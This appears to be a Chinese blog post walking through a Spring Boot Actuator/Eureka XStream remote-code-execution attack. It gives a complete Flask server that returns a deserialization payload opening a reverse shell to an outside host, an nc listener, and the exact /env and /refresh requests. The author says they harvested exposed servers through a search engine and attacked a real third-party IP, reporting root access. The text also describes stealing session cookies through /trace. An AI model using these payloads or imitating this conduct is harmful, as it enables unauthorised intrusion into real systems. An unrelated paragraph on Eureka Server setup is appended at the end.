SpringBoot-Eureka-xstream-rce漏洞复现

SpringBoot-Eureka-xstream-rce

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

在这里插入图片描述

漏洞利用

1.利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口

http://localhost:9093/trace

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

在这里插入图片描述

2.利用env加refresh进行getshell

http://localhost:9093/env

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的

在这里插入图片描述

/env端点配置不当造成RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

因为自己搭建的靶场环境一直复现失败,决定直接实战,搜索

app="Eureka-Server"

爬取ip,访问/env路径,若返回状态码为200则可能成功,可以写批量exp的脚本

接下来对我们搜集的ip测试是否出网

在这里插入图片描述

在这里插入图片描述

在refresh后,dnslog出现了一条数据,证明目标服务器可以出网,接下来进行漏洞利用,并记录详细过程
在这里插入图片描述

开启脚本,架设响应恶意 XStream payload 的网站,这里我使用了自己的云服务器

python springboot-xstream-rce.py

springboot-xstream-rce.py

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/124.222.155.84/3333 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)

访问测试http://ip:2222/xstream ,返回一条数据

在这里插入图片描述

服务器监听反弹shell的端口

nc -lvvp 3333

在这里插入图片描述

1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址

spring1.x

POST /env HTTP/1.1
Host: 47.111.236.137:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

eureka.client.serviceUrl.defaultZone=http://124.222.155.84:2222/xstream

若spring2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload

spring1.x

POST /refresh HTTP/1.1
Host: 47.111.236.137:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

aaa

在这里插入图片描述

spring2.x

POST /actuator/refresh
Content-Type: application/json

在这里插入图片描述

3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

等待一段时间直接拿到权限,控制了服务器还是root权限

在这里插入图片描述

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Spring Cloud Starter Eureka Server is a starter dependency that provides the Eureka Server module of the Spring Cloud Netflix project. Eureka Server is a service registry that enables microservices to discover and communicate with each other. With Eureka, each microservice registers itself with the Eureka Server and queries the Eureka Server to find other microservices it depends on. The Spring Cloud Starter Eureka Server provides an easy way to set up an Eureka server instance in a Spring Boot application. It includes all the necessary dependencies and configuration to enable the Eureka Server and register services. To use Spring Cloud Starter Eureka Server, you can add the following dependency to your project: ``` <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-server</artifactId> </dependency> ``` After adding the dependency, you can annotate your main Spring Boot application class with `@EnableEurekaServer` to enable the Eureka Server: ``` @SpringBootApplication @EnableEurekaServer public class EurekaServerApplication { public static void main(String[] args) { SpringApplication.run(EurekaServerApplication.class, args); } } ``` Once you have the Eureka Server set up, you can register microservices with it using the `@EnableDiscoveryClient` annotation in your microservice application. Overall, the Spring Cloud Starter Eureka Server provides an easy and efficient way to set up an Eureka Server in a Spring Boot application and enable microservice communication.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值